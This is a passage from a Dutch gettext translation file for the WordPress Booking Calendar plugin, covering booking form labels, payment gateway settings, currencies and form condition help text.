usage%s." msgstr "%sBeschrijving van gebruik%s." #: core/lang/wpbc_all_translations1.php:404 msgid "Generate Tag" msgstr "Tag genereren" #: core/lang/wpbc_all_translations1.php:405 msgid "Select option to configure or show help info about tags" msgstr "Selecteer optie om te configureren of toon hulpinfo over tags" #: core/lang/wpbc_all_translations2.php:90 #: includes/page-bookings/bookings__actions.php:2661 msgid "Edit Note" msgstr "Notitie bewerken" #: core/lang/wpbc_all_translations2.php:91 #: includes/page-bookings/bookings__actions.php:2787 msgid "Change Language" msgstr "Taal veranderen" #: core/admin/wpbc-toolbars.php:1108 core/lang/wpbc_all_translations.php:498 #: includes/page-bookings/bookings__actions.php:2715 msgid "Save" msgstr "Opslaan" #: core/lang/wpbc_all_translations1.php:422 msgid "Incorrect date format" msgstr "Onjuist datumformaat" #: core/lang/wpbc_all_translations1.php:426 msgid "Sending request..." msgstr "Verzoek versturen..." #: core/lang/wpbc_all_translations1.php:427 msgid "Order number" msgstr "Bestelnummer" #: core/lang/wpbc_all_translations1.php:428 msgid "Register" msgstr "Registreer" #: core/lang/wpbc_all_translations1.php:433 msgid "Default form" msgstr "Standaardformulier" #: core/lang/wpbc_all_translations1.php:439 msgid "There is a new version of %1$s available. <a href=\"%2$s\" target=\"_blank\" title=\"%3$s\">View version %4$s details</a>. <em>Automatic update is unavailable for this plugin.</em>" msgstr "Er is een nieuwe versie van %1$s beschikbaar. <a href=\"%2$s\" target=\"_blank\" title=\"%3$s\">Bekijk versie %4$s details</a>. <em>Automatische update is niet beschikbaar voor deze plugin.</em>" #: core/lang/wpbc_all_translations1.php:440 msgid "Upgrade Notice" msgstr "Upgrade bericht" #: core/lang/wpbc_all_translations1.php:441 msgid "Version %s By %s" msgstr "Versie %s door %s" #: core/lang/wpbc_all_translations1.php:442 msgid "View details" msgstr "Bekijk details" #: core/lang/wpbc_all_translations1.php:443 msgid "First Name (required)" msgstr "Voornaam (verplicht)" #: core/lang/wpbc_all_translations1.php:444 msgid "Last Name (required)" msgstr "Achternaam (verplicht)" #: core/lang/wpbc_all_translations1.php:445 msgid "Email (required)" msgstr "E-mail (verplicht)" #: core/lang/wpbc_all_translations1.php:446 msgid "Phone" msgstr "Telefoon" #: core/lang/wpbc_all_translations1.php:447 msgid "Adults" msgstr "Volwassenen" #: core/lang/wpbc_all_translations1.php:448 msgid "Children" msgstr "Kinderen" #: core/lang/wpbc_all_translations1.php:449 msgid "Details" msgstr "Details" #: core/lang/wpbc_all_translations1.php:452 msgid "Select Times" msgstr "Selecteer tijden" #: core/lang/wpbc_all_translations1.php:455 msgid "Address (required)" msgstr "Adres (verplicht)" #: core/lang/wpbc_all_translations1.php:456 msgid "City (required)" msgstr "Plaats (verplicht)" #: core/lang/wpbc_all_translations1.php:458 msgid "Country (required)" msgstr "Land (verplicht)" #: core/lang/wpbc_all_translations1.php:453 msgid "night(s)" msgstr "nacht(en)" #: core/lang/wpbc_all_translations.php:571 #: includes/page-form-simple/page-form-simple.php:2715 msgid "First Name" msgstr "Voornaam" #: core/lang/wpbc_all_translations1.php:460 msgid "Last Name" msgstr "Achternaam" #: core/lang/wpbc_all_translations1.php:462 msgid "Address" msgstr "Adres" #: core/lang/wpbc_all_translations1.php:464 msgid "Post code" msgstr "Postcode" #: core/lang/wpbc_all_translations1.php:465 msgid "Country" msgstr "Land" #: core/lang/wpbc_all_translations.php:749 core/wpbc_functions_dates.php:285 msgid "Check in" msgstr "Aankomst" #: core/lang/wpbc_all_translations.php:750 core/wpbc_functions_dates.php:286 msgid "Check out" msgstr "Vertrek" #: core/lang/wpbc_all_translations1.php:466 msgid "Guests" msgstr "Gasten" #: core/lang/wpbc_all_translations1.php:467 msgid "Enable this payment gateway" msgstr "Schakel deze betaalprovider in" #: core/lang/wpbc_all_translations1.php:468 msgid "API Login ID" msgstr "API Login ID" #: core/lang/wpbc_all_translations1.php:469 msgid "The merchant API Login ID is provided in the Merchant Interface of %s" msgstr "De API Login ID voor verkopers is te vinden in het Verkoperspaneel van %s" #: core/lang/wpbc_all_translations1.php:749 msgid "This parameter have to assigned to you by %s" msgstr "Deze parameter is aan jou toegewezen door %s" #: core/lang/wpbc_all_translations1.php:479 msgid "Chose payment mode" msgstr "Kies betaalmodus" #: core/lang/wpbc_all_translations1.php:480 msgid "Select \"Live test\" or \"Live\" environment for using Merchant account or \"Developer Test\" for using Developer account." msgstr "Selecteer \"Live test\" of \"Live\" omgeving voor het gebruiken van verkopersaccount of \"Ontwikkelaar test\" voor het gebruiken van een ontwikkelaarsaccount." #: core/lang/wpbc_all_translations1.php:482 msgid "Developer Test" msgstr "Ontwikkelaar test" #: core/lang/wpbc_all_translations1.php:483 msgid "Live Test" msgstr "Live test" #: core/lang/wpbc_all_translations1.php:484 msgid "Live" msgstr "Live" #: core/lang/wpbc_all_translations1.php:485 msgid "Transaction type" msgstr "Type transactie" #: core/lang/wpbc_all_translations1.php:487 msgid "Authorization and Capture" msgstr "Autorisatie en afhandeling" #: core/lang/wpbc_all_translations1.php:488 msgid "Authorization Only" msgstr "Enkel autorisatie" #: core/lang/wpbc_all_translations1.php:489 msgid "U.S. Dollars" msgstr "U.S. Dollar" #: core/lang/wpbc_all_translations1.php:490 msgid "Pounds Sterling" msgstr "Britse Pond" #: core/lang/wpbc_all_translations1.php:491 msgid "Euros" msgstr "Euro" #: core/lang/wpbc_all_translations1.php:492 msgid "Canadian Dollars" msgstr "Canadese Dollar" #: core/lang/wpbc_all_translations1.php:496 msgid "Pay via" msgstr "Betaal via" #: core/lang/wpbc_all_translations1.php:501 msgid "Enter the service name or the reason for the payment here." msgstr "Voer de naam van de dienst of de reden van de betaling hier in." #: core/lang/wpbc_all_translations1.php:503 msgid "This field support only up to %s characters by payment system." msgstr "Voor dit veld ondersteunt het betaalsysteem maar tot %s tekens." #: core/lang/wpbc_all_translations1.php:504 msgid "Activate Relay Response" msgstr "Activeer Relay Response" #: core/lang/wpbc_all_translations1.php:506 msgid "You should leave empty the Relay Response URL and Receipt Link URL/Text in the Merchant Interface, if a Relay Response is activated here." msgstr "Als een Relay Response hier geactiveerd is, laat dan de Relay Response-URL en Betalingsbewijslink-URL/tekst leeg in het Verkoperspaneel." #: core/lang/wpbc_all_translations1.php:507 msgid "Return URL after Successful order" msgstr "Terugkeer-URL na succesvolle bestelling" #: core/lang/wpbc_all_translations1.php:509 msgid "For example, a URL to your site that displays a %s\"Thank you for the payment\"%s." msgstr "Bv. een URL naar je site die een %s\"Bedankt voor je betaling\"%s." #: core/lang/wpbc_all_translations1.php:510 msgid "Return URL after Failed order" msgstr "Terugkeer-URL na mislukte bestelling" #: core/lang/wpbc_all_translations1.php:517 msgid "Integration of authorizenet payment system" msgstr "Integratie van authorizenet betalingssysteem" #: core/lang/wpbc_all_translations1.php:522 msgid "%s - Server Integration Method (SIM)" msgstr "%s - Server Integratie Methode (SIM)" #: core/lang/wpbc_all_translations1.php:523 msgid "Payment method description that the customer will see on your payment page." msgstr "Beschrijving van betalingsmethode die de klant zal zien op je betalingspagina." #: core/lang/wpbc_all_translations1.php:524 msgid "Bank Transfer" msgstr "Overschrijving" #: core/lang/wpbc_all_translations1.php:527 msgid "Allow payments by %sdirect bank / wire transfer%s" msgstr "Laat betalingen per %sdirecte bankoverschrijving%s toe" #: core/lang/wpbc_all_translations1.php:528 msgid "Its only show fixed payment details." msgstr "Dit toont enkel vaste betalingsdetails." #: core/lang/wpbc_all_translations1.php:529 msgid "Sort Code" msgstr "Sorteringscode" #: core/lang/wpbc_all_translations1.php:531 msgid "Account Number" msgstr "Rekeningnummer" #: core/lang/wpbc_all_translations1.php:532 msgid "IBAN" msgstr "IBAN" #: core/lang/wpbc_all_translations1.php:533 msgid "BIC / Swift" msgstr "BIC / Swift" #: core/lang/wpbc_all_translations1.php:534 msgid "Account Name" msgstr "Rekening naam" #: core/lang/wpbc_all_translations1.php:535 msgid "Bank Name" msgstr "Bank naam" #: core/lang/wpbc_all_translations1.php:536 msgid "BSB" msgstr "BSB" #: core/lang/wpbc_all_translations1.php:537 msgid "Bank Transit Number" msgstr "Bank Transitgetal" #: core/lang/wpbc_all_translations1.php:538 msgid "IFSC" msgstr "IFSC" #: core/lang/wpbc_all_translations1.php:539 msgid "Branch Sort" msgstr "Taksortering" #: core/lang/wpbc_all_translations1.php:540 msgid "Bank Code" msgstr "Bankcode" #: core/lang/wpbc_all_translations1.php:541 msgid "Routing Number" msgstr "Routinggetal" #: core/lang/wpbc_all_translations1.php:542 msgid "Branch Code" msgstr "Tak code" #: core/lang/wpbc_all_translations1.php:569 msgid "Successful payment" msgstr "Betaling succesvol" #: core/lang/wpbc_all_translations1.php:572 msgid "Amount different" msgstr "Bedrag verschillend" #: core/lang/wpbc_all_translations1.php:573 msgid "Payment failed" msgstr "Betaling mislukt" #: core/lang/wpbc_all_translations1.php:574 msgid "Payment status updated by Mobile88 Admin(Fail)" msgstr "Betalingsstatus bijgewerkt door Mobile88 Admin (Mislukt)" #: core/lang/wpbc_all_translations1.php:575 msgid "Connection Error" msgstr "Verbindingsfout" #: core/lang/wpbc_all_translations1.php:576 msgid "Merchant Code" msgstr "Verkoperscode" #: core/lang/wpbc_all_translations1.php:577 msgid "Enter your iPay88 Merchant Code." msgstr "Voer je iPay88 verkoperscode in." #: core/lang/wpbc_all_translations1.php:555 msgid "Merchant Key" msgstr "Verkoperssleutel" #: core/lang/wpbc_all_translations1.php:578 msgid "Enter your iPay88 Merchant Key." msgstr "Voer je iPay88 verkoperssleutel in." #: core/lang/wpbc_all_translations1.php:703 msgid "Philippine Pesos" msgstr "Filippijnse Pesos" #: core/lang/wpbc_all_translations1.php:580 msgid "Integration of iPay88 payment system" msgstr "Integratie van iPay88 betalingssysteem" #: core/lang/wpbc_all_translations1.php:582 msgid "for 1 day" msgstr "voor 1 dag" #: core/lang/wpbc_all_translations1.php:583 msgid "for 1 night" msgstr "voor 1 nacht" #: core/lang/wpbc_all_translations1.php:585 msgid "for 1 hour" msgstr "voor 1 uur" #: core/lang/wpbc_all_translations1.php:586 msgid "Set the cost" msgstr "Stel de kostprijs in" #: core/lang/wpbc_all_translations1.php:588 msgid "Time impact to cost" msgstr "Tijdsimpact op kostprijs" #: core/lang/wpbc_all_translations1.php:599 msgid "Important" msgstr "Belangrijk" #: core/lang/wpbc_all_translations1.php:610 msgid "Currency" msgstr "Valuta" #: core/lang/wpbc_all_translations1.php:615 msgid "Left" msgstr "Links" #: core/lang/wpbc_all_translations1.php:616 msgid "Right" msgstr "Rechts" #: core/lang/wpbc_all_translations1.php:617 msgid "Left with space" msgstr "Links met spatie" #: core/lang/wpbc_all_translations1.php:618 msgid "Right with space" msgstr "Rechts met spatie" #: core/lang/wpbc_all_translations1.php:620 msgid "Number of decimal points" msgstr "Aantal decimale punten" #: core/lang/wpbc_all_translations1.php:621 msgid "No separator" msgstr "Geen scheiding" #: core/lang/wpbc_all_translations1.php:622 msgid "Space" msgstr "Spatie" #: core/lang/wpbc_all_translations1.php:624 msgid "Comma" msgstr "Komma" #: core/lang/wpbc_all_translations1.php:625 msgid "Separator for the decimal point" msgstr "Scheidingsteken voor decimalen" #: core/lang/wpbc_all_translations1.php:626 msgid "Thousands separator" msgstr "Scheiding voor duizendtallen" #: core/lang/wpbc_all_translations1.php:623 msgid "Dot" msgstr "Punt" #: core/lang/wpbc_all_translations1.php:630 msgid "First Name(s)" msgstr "Voorna(a)m(en)" #: core/lang/wpbc_all_translations1.php:631 msgid "Last name" msgstr "Achternaam" #: core/lang/wpbc_all_translations1.php:634 msgid "Post Code" msgstr "Postcode" #: core/lang/wpbc_all_translations1.php:635 msgid "State" msgstr "Staat" #: core/lang/wpbc_all_translations1.php:639 msgid "Customization of Payment" msgstr "Aanpassing van betaling" #: core/lang/wpbc_all_translations1.php:641 msgid "Payment Gateways - General Settings" msgstr "Betalingsproviders - algemene instellingen" #: core/lang/wpbc_all_translations1.php:642 msgid "Active Payment Gateways" msgstr "Active betalingsproviders" #: core/lang/wpbc_all_translations1.php:646 msgid "Billing form fields" msgstr "Velden van facturatieformulier" #: core/lang/wpbc_all_translations1.php:653 msgid "current date" msgstr "huidige datum" #: core/lang/wpbc_all_translations1.php:654 msgid "current time" msgstr "huidige tijd" #: core/lang/wpbc_all_translations1.php:663 msgid "Amount to pay" msgstr "Bedrag te betalen" #: core/lang/wpbc_all_translations1.php:670 msgid "Error IPN" msgstr "Fout IPN" #: core/lang/wpbc_all_translations1.php:671 msgid "Verified IPN" msgstr "Geverifieerde IPN" #: core/lang/wpbc_all_translations1.php:672 msgid "Invalid IPN" msgstr "Ongeldige IPN" #: core/lang/wpbc_all_translations1.php:674 msgid "Paypal Standard" msgstr "Paypal Standard" #: core/lang/wpbc_all_translations1.php:675 msgid "Paypal Pro Hosted Solution" msgstr "Paypal Pro Hosted Solution" #: core/lang/wpbc_all_translations1.php:676 msgid "Account Type" msgstr "Accounttype" #: core/lang/wpbc_all_translations1.php:679 msgid "Secure Merchant ID" msgstr "Veilige Verkopers-ID" #: core/lang/wpbc_all_translations1.php:680 msgid "This is the Secure Merchant ID, which can be found on the profile page" msgstr "Dit is de Veilige Verkopers-ID, die kan gevonden worden op de profielpagina" #: core/lang/wpbc_all_translations1.php:683 msgid "Authorization" msgstr "Autorisatie" #: core/lang/wpbc_all_translations1.php:685 msgid "Sandbox" msgstr "Sandbox" #: core/lang/wpbc_all_translations1.php:686 msgid "British Pound" msgstr "Britse Pond" #: core/lang/wpbc_all_translations1.php:687 msgid "Japanese Yen" msgstr "Japanse Yen" #: core/lang/wpbc_all_translations1.php:688 msgid "Australian Dollars" msgstr "Australische Dollar" #: core/lang/wpbc_all_translations1.php:689 msgid "New Zealand Dollar" msgstr "New Zealand Dollar" #: core/lang/wpbc_all_translations1.php:691 msgid "Hong Kong Dollar" msgstr "Hong Kong Dollar" #: core/lang/wpbc_all_translations1.php:692 msgid "Singapore Dollar" msgstr "Singapore Dollar" #: core/lang/wpbc_all_translations1.php:694 msgid "Danish Krone" msgstr "Deense Kroon" #: core/lang/wpbc_all_translations1.php:695 msgid "Polish Zloty" msgstr "Poolse Zloty" #: core/lang/wpbc_all_translations1.php:696 msgid "Norwegian Krone" msgstr "Noorse Kroon" #: core/lang/wpbc_all_translations1.php:697 msgid "Hungarian Forint" msgstr "Hongaarse Forint" #: core/lang/wpbc_all_translations1.php:699 msgid "Israeli New Shekel" msgstr "Israeli New Shekel" #: core/lang/wpbc_all_translations1.php:700 msgid "Mexican Peso" msgstr "Mexicaanse Peso" #: core/lang/wpbc_all_translations1.php:701 msgid "Brazilian Real (only for Brazilian users)" msgstr "Braziliaanse Real (enkel voor Braziliaanse gebruikers)" #: core/lang/wpbc_all_translations1.php:702 msgid "Malaysian Ringgits (only for Malaysian users)" msgstr "Maleisische Ringgits (enkel voor Maleisische gebruikers)" #: core/lang/wpbc_all_translations1.php:704 msgid "Taiwan New Dollars" msgstr "Taiwan New Dollars" #: core/lang/wpbc_all_translations1.php:705 msgid "Thai Baht" msgstr "Thaise Baht" #: core/lang/wpbc_all_translations1.php:706 msgid "Turkish Lira (only for Turkish members)" msgstr "Turkse Lire (enkel voor Turkse leden)" #: core/lang/wpbc_all_translations1.php:707 msgid "Payment Button type" msgstr "Type betaalknop" #: core/lang/wpbc_all_translations1.php:710 msgid "Enter your phone number" msgstr "Voer je telefoonnummer in" #: core/lang/wpbc_all_translations1.php:698 msgid "Czech Koruna" msgstr "Tsjechische Kroon" #: core/lang/wpbc_all_translations1.php:711 msgid "Reference Text Box Title" msgstr "Referentie tekstvak titel" #: core/lang/wpbc_all_translations1.php:713 msgid "Return URL from PayPal" msgstr "Terugkeer-URL van PayPal" #: core/lang/wpbc_all_translations1.php:717 msgid "To use this feature you %smust activate auto-return link%s at your Paypal account." msgstr "Om deze functie te gebruiken moet je %sde automatisch-terugkeren-link activeren%s in je Paypalaccount." #: core/lang/wpbc_all_translations1.php:718 msgid "Follow these steps to configure it:" msgstr "Volg deze stappen om het te configureren:" #: core/lang/wpbc_all_translations1.php:719 msgid "Log in to your PayPal account." msgstr "Inloggen in je Paypalaccount." #: core/lang/wpbc_all_translations1.php:723 msgid "For the Return URL, enter the Return URL from PayPal on your site for successfull payment." msgstr "Voor de URL om naar terug te keren, geef de URL in op je site voor succesvolle betaling." #: core/lang/wpbc_all_translations1.php:724 msgid "Instant Payment Notification (IPN) is a message service that notifies you of events related to PayPal transactions" msgstr "Instant Payment Notification (IPN) is een berichtendienst die je inlicht over Paypaltransacties" #: core/lang/wpbc_all_translations1.php:733 msgid "Use cURL posting" msgstr "Gebruik cURL verzending" #: core/lang/wpbc_all_translations1.php:734 msgid "Use the cURL for posting data, instead of fsockopen() function" msgstr "Gebruik cURL voor het verzenden van data, in plaats van fsockopen() functie" #: core/lang/wpbc_all_translations1.php:736 msgid "Click Profile on the My Account tab." msgstr "Klik Profiel op de Mijn Account tab." #: core/lang/wpbc_all_translations1.php:741 msgid "Click Save." msgstr "Klik Opslaan." #: core/lang/wpbc_all_translations1.php:744 msgid "PayPal" msgstr "PayPal" #: core/lang/wpbc_all_translations1.php:745 msgid "Integration of Paypal payment system" msgstr "Integratie van PayPal betalingssysteem" #: core/lang/wpbc_all_translations1.php:746 msgid "PayPal IPN" msgstr "PayPal IPN" #: core/lang/wpbc_all_translations1.php:762 msgid "Vendor Name" msgstr "Naam Verkoper" #: core/lang/wpbc_all_translations1.php:763 msgid "Set this value to the Vendor Name assigned to you by Sage Pay or chosen when you applied." msgstr "Neem voor deze waarde de Verkopersnaam die jou toegewezen is door Sage Pay of die je koos wanneer je je aanmeldde." #: core/lang/wpbc_all_translations1.php:764 msgid "XOR Encryption password" msgstr "XOR Encryption wachtwoord" #: core/lang/wpbc_all_translations1.php:765 msgid "Set this value to the XOR Encryption password assigned to you by Sage Pay" msgstr "Stel deze waarde in met het XOR Encryptie wachtwoord dat je door Sage Pay toegewezen werd" #: core/lang/wpbc_all_translations1.php:557 msgid "Select TEST for the Test Server and LIVE in the live environment" msgstr "Selecteer TEST voor de Test Server en LIVE in de live-omgeving" #: core/lang/wpbc_all_translations1.php:561 msgid "TEST" msgstr "TEST" #: core/lang/wpbc_all_translations1.php:562 msgid "LIVE" msgstr "LIVE" #: core/lang/wpbc_all_translations1.php:766 msgid "This can be DEFERRED or AUTHENTICATED if your Sage Pay account supports those payment types" msgstr "Dit kan UITGESTELD of GEVERIFIEERD zijn als je Sage Pay account die betaaltypes ondersteunt" #: core/lang/wpbc_all_translations1.php:767 msgid "PAYMENT" msgstr "BETALING" #: core/lang/wpbc_all_translations1.php:768 msgid "DEFERRED" msgstr "UITGESTELD" #: core/lang/wpbc_all_translations1.php:769 msgid "AUTHENTICATE" msgstr "VERIFIËREN" #: core/lang/wpbc_all_translations1.php:770 msgid "Yen" msgstr "Yen" #: core/lang/wpbc_all_translations1.php:771 msgid "Israeli Shekel" msgstr "Israeli Shekel" #: core/lang/wpbc_all_translations.php:746 core/wpbc_functions.php:3633 msgid "Payment rejected" msgstr "Betaling afgewezen" #: core/lang/wpbc_all_translations1.php:359 msgid "Cost Fields" msgstr "Kostenvelden" #: core/wpbc_functions.php:2159 msgid "Thanks :)" msgstr "Bedankt :)" #: core/lang/wpbc_all_translations1.php:567 msgid "Integration of %s payment system" msgstr "Integratie van %s betalingssysteem" #: core/admin/page-ics-export.php:44 core/admin/page-ics-export.php:61 #: core/admin/page-ics-export.php:62 core/admin/page-ics-export.php:64 #: core/admin/page-ics-export.php:231 core/admin/page-ics-general.php:318 #: core/admin/page-ics-general.php:468 core/admin/page-ics-import.php:42 #: core/admin/page-import-gcal.php:430 core/lang/wpbc_all_translations.php:271 #: includes/page-bookings/bookings__actions.php:3625 msgid "Export" msgstr "Exporteer" #: core/lang/wpbc_all_translations1.php:315 msgid "Start Time - Drop Down list" msgstr "Starttijd - vervolgkeuzelijstt" #: core/lang/wpbc_all_translations1.php:316 msgid "Please note, in the %sOptions list%s you can use times in military time format %s(24 Hour Time)%s only." msgstr "Let wel, in de %sOpties lijst%s kun je enkel tijden gebruiken in %s24u-tijdsformaat%s." #: core/lang/wpbc_all_translations1.php:321 msgid "This feature provides the possibility to use the different time slot selections in the booking form for the different week days or different days - which are assigned to the specific season filters. So each week day (day of specific season filter) can have a different time slots list." msgstr "Deze functie voorziet in de mogelijkheid om de verschillende tijdsvakken te selecteren in het boekingsformulier voor verschillende (week)dagen, die toegewezen zijn aan specifieke periodes. Dus elke weekdag (dag of aangepaste periode) kan een verschillende tijdvaklijst hebben." #: core/lang/wpbc_all_translations1.php:327 msgid "Week days conditions." msgstr "Voorwaarden voor weekdagen." #: core/lang/wpbc_all_translations1.php:329 msgid "You can use the several values, separated by comma." msgstr "Je kunt verschillende waarden gebruiken, gescheiden door komma." #: core/lang/wpbc_all_translations1.php:324 msgid "%sname%s – the unique name of the condition group, containing several conditions with different values. For example, if you want to have specific HTML content for the different week days, you can have several conditions, with the same name but with different value parameters in conditions. Please check more about it, in the examples." msgstr "%snaam%s - de unieke naam van de voorwaardegroep, die verschillende voorwaarden met verschillende waarden bevat. Bijvoorbeeld als je specifieke html-inhoud wil voor de verschillende weekdagen, kun je verschillende voorwaarden hebben, met dezelfde naam met verschillende waardeparameters in de voorwaarden. Ontdek er meer over in de voorbeelden." #: core/lang/wpbc_all_translations1.php:330 msgid "Season filters conditions." msgstr "Voorwaarden voor de periodefilters." #: core/lang/wpbc_all_translations1.php:331 msgid "Season filter on the Season Filters page," msgstr "Periode-instellingen op de periode-instellingspagina," #: core/lang/wpbc_all_translations1.php:332 msgid "Season filter on the Season Filters page" msgstr "Periode-instellingen op de periode-instellingspagina" #: core/lang/wpbc_all_translations1.php:334 msgid "Please use %sSingle day%s selection mode in the General Booking Settings page at calendar section." msgstr "Gebruik %sEnkele dag%s selectiemodus op de Algemene boekingsinstellingen pagina in de kalendersectie." #: core/lang/wpbc_all_translations1.php:338 msgid "This field does not impact to availability (booking for the specific time) ." msgstr "Dit veld heeft geen invloed op de beschikbaarheid (boeking voor de specifieke tijd)." #: core/lang/wpbc_all_translations1.php:342 msgid "You can customize the country list at this file: %s" msgstr "Je kunt de landenlijst aanpassen in dit bestand: %s" #: core/lang/wpbc_all_translations1.php:343 msgid "You can insert this field with default selected value." msgstr "Je kunt dit veld invoegen met standaard geselecteerde waarde." #: core/lang/wpbc_all_translations1.php:325 msgid "%stype%s – type of the condition. There are 2 types of condition: \"weekday\" and \"season\". \"weekday\" – is the condition rule based on the selected day of week value, like Monday, Tuesday, etc… . \"season\" – is the condition rule based on the \"season filter\" name of selected date. In other words the condition is TRUE if the selected day belongs to a season filter in the Season Filters page." msgstr "%stype%s - type voorwaarde. Er zijn 2 types voorwaarden: \"weekdag\" en \"periode\". \"weekdag\" is de voorwaarderegel gebaseerd op de geselecteerde dag van de week, zoals maandag, dinsdag enz. \"periode\" is de voorwaarderegel gebaseerd op de \"periodefilter naam\" van de geselecteerde datum. M.a.w. de voorwaarde is WAAR als de geselecteerde dag deel uitmaakt van een periode op de periodefilter pagina." #: core/lang/wpbc_all_translations1.php:326 msgid "%svalue%s – value of the specific conditions. If the value is true, the content of the conditions will show in the booking form. You can have the default value (empty – \"\", or like this – \"*\") for showing the content of this condition, if all other conditions are FALSE, or at initial stage, when the date in calendar is not yet selected." msgstr "%swaarde%s - waarde van de specifieke voorwaarden. Als de waarde waar is, zal de inhoud van de voorwaarden zichtbaar zijn in het boekingsformulier. Je kunt de standaardwaarde gebruiken (leeg - \"\", of zo - \"*\") om de inhoud van deze voorwaarden weer te geven, als alle andere voorwaarden VALS zijn, of initieel, als de datum in de kalender nog niet geselecteerd is." #: core/lang/wpbc_all_translations1.php:346 msgid "Plugin support configurations of the booking form are available in different languages." msgstr "Pluginondersteuningsconfiguraties van het boekingsformulier zijn beschikbaar in verschillende talen." #: core/lang/wpbc_all_translations1.php:348 msgid "Booking Calendar supports WPML and qTranslate plugins for dynamic changing of website locale." msgstr "Booking Calendar ondersteunt WPML en qTranslate plugins voor het dynamisch veranderen van de website taal." #: core/lang/wpbc_all_translations1.php:352 msgid "of configuration booking form in English and French languages" msgstr "van configuratie boekingsformulier in het Engels en het Frans" #: core/lang/wpbc_all_translations1.php:355 msgid "This feature provides the possibility to show the different form fields or any other HTML content in the booking form, depending on the selection of specific week day in calendar or different days, which are assigned to the specific season filters" msgstr "Deze functie voorziet in de mogelijkheid om de verschillende formuliervelden of HTML-inhoud weer te geven in het boekingsformulier, afhankelijk van de geselecteerde weekdag in de kalender of verschillende dagen die zijn toegekend aan een bepaalde periode" #: core/lang/wpbc_all_translations1.php:357 msgid "You can use several values, separated by comma." msgstr "Je kunt verschillende waarden gebruiken, gescheiden door een komma." #: core/lang/wpbc_all_translations1.php:358 msgid "You can use several values, separated by a comma." msgstr "Je kunt verschillende waarden gebruiken, gescheiden door een komma." #: core/lang/wpbc_all_translations1.php:360 msgid "Cost Correction Field" msgstr "Veld voor het corrigeren van kosten" #: core/lang/wpbc_all_translations1.php:356 msgid "%svalue%s – value of the specific conditions. If the value is true, so then the content of the conditions will show in the booking form. You can have the default value (empty – \"\", or like this – \"*\") for showing the content of this condition, if all other conditions are FALSE, or at initial stage, when the date in calendar is not yet selected." msgstr "%swaarde%s - waarde van de speficieke voorwaarden. Als de waarde waar is, dan zal de inhoud van de voorwaarden getoond worden in het boekingsformulier. Je kunt de standaardwaarde nemen (leeg - \"\", of zo - \"*\") voor weergeven van de inhoud van deze voorwaarde, als alle andere voorwaarden VALS zijn, of initieel, als de datum in de kalender nog niet geselecteerd is." #: core/lang/wpbc_all_translations1.php:361 msgid "This field is visible only in Admin Panel at %sAdd booking page%s." msgstr "Dit veld is enkel zichtbaar in het Admin-scherm op de %sboeking toevoegen%s-pagina." #: core/lang/wpbc_all_translations1.php:362 msgid "Use this field for %scorrecting the cost%s during adding new booking." msgstr "Gebruik dit veld voor het %scorrigeren van de kostprijs%s tijdens het toevoegen van een nieuwe boeking." #: core/lang/wpbc_all_translations1.php:364 msgid "Please use this field for possibility to use coupon discounts by your visitors." msgstr "Gebruik dit veld voor de mogelijkheid om kortingscodes te gebruiken door je klanten." #: core/lang/wpbc_all_translations1.php:365 msgid "You can configure the discount coupon codes at this %spage%s." msgstr "Je kunt de kortingscodes configureren op deze %spagina%s." #: core/lang/wpbc_all_translations1.php:368 msgid "Insert these shortcodes into form to %sshow info in real time %s(after selection of the dates in calendar or options in checkboxes or selectboxes)%s." msgstr "Voeg deze shortcodes toe in het formulier om %sinfo in real time weer te geven%s (na selectie van de datums in de kalender of opties in de aanvink- of selectievakken)%s." #: core/lang/wpbc_all_translations1.php:382 msgid "title of booking resource" msgstr "naam van het object" #: core/lang/wpbc_all_translations1.php:383 msgid "ID of booking resource." msgstr "ID van het object." #: core/lang/wpbc_all_translations1.php:384 msgid "cost of booking resource." msgstr "kosten van het object." #: core/lang/wpbc_all_translations1.php:385 msgid "capacity of booking resource." msgstr "capaciteit van het object." #: core/lang/wpbc_all_translations1.php:386 msgid "maximum number of visitors per booking resource." msgstr "maximum aantal personen per object." #: core/lang/wpbc_all_translations1.php:389 msgid "%sEmail verification field%s." msgstr "%sEmail verificatieveld%s." #: core/lang/wpbc_all_translations1.php:390 msgid "To create verification email, you need to use special CSS class in other email field. This CSS class must start with this reserved words: %s and then have to go the name of your primary email field: %s" msgstr "Om een verificatie-email aan te maken, moet je een speciale CSS class gebruiken in het ander emailveld. Deze CSS class moet beginnen met deze woorden: %s en dan de naam van je primaire emailveld: %s" #: core/lang/wpbc_all_translations1.php:391 msgid "confirmation email field of the primary email field" msgstr "bevestiging emailveld van het primaire emailveld" #: core/lang/wpbc_all_translations2.php:8 #: includes/_toolbar_ui/toolbar_ui.php:2016 msgid "Print bookings listing" msgstr "Druk boekingslijst af" #: core/lang/wpbc_all_translations2.php:14 #: includes/_toolbar_ui/toolbar_ui.php:2174 msgid "Export All bookings to CSV format" msgstr "Exporteer alle boekingen naar CSV-formaat" #: core/lang/wpbc_all_translations2.php:89 #: includes/page-bookings/bookings__actions.php:2488 msgid "Change Resource" msgstr "Verander het object" #: core/lang/wpbc_all_translations1.php:425 #: includes/page-bookings/bookings__actions.php:2554 #: includes/page-bookings/bookings__actions.php:3334 msgid "Duplicate Booking" msgstr "De boeking dupliceren" #: core/lang/wpbc_all_translations2.php:95 #: includes/page-bookings/bookings__actions.php:3226 msgid "Change" msgstr "Verander" #: core/lang/wpbc_all_translations2.php:149 #: includes/print/bookings_print.php:98 msgid "Print bookings" msgstr "Boekingen printen" #: core/lang/wpbc_all_translations1.php:409 msgid "Clear booking resources selection" msgstr "Verwijder de geselecteerde objecten" #: core/lang/wpbc_all_translations1.php:410 msgid "Apply booking resources selection" msgstr "Voeg geselecteerde objecten toe" #: core/lang/wpbc_all_translations1.php:411 #: includes/_toolbar_ui/toolbar_ui.php:1107 msgid "Please note, its not possible to add new resources, if \"All resources\" option is selected. Please clear the selection, then add new resources." msgstr "Attentie: het is niet mogelijk om nieuwe objecten toe te voegen als de optie \"Alle objecten\" geselecteerd is. Wis a.u.b. de selectie, en voeg dan nieuwe objecten toe." #: core/lang/wpbc_all_translations1.php:412 #: includes/page-resource-free/page-resource-free.php:256 msgid "Add New Booking Resource(s)" msgstr "Toevoegen van nieuw(e) object(en)" #: core/lang/wpbc_all_translations1.php:413 msgid "Enter name of booking resource" msgstr "Voer de naam van het object in" #: core/lang/wpbc_all_translations1.php:415 #: includes/page-resource-free/page-resource-free.php:262 msgid "Resources count" msgstr "Aantal objecten" #: core/lang/wpbc_all_translations1.php:418 msgid "This booking resources does not exist" msgstr "Deze objecten bestaan niet" #: core/lang/wpbc_all_translations1.php:420 msgid "The booking was canceled by the visitor." msgstr "De boeking werd geannuleerd door de klant." 